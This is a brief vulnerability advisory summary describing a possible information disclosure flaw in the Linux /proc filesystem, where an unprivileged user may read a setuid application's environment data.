A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information.
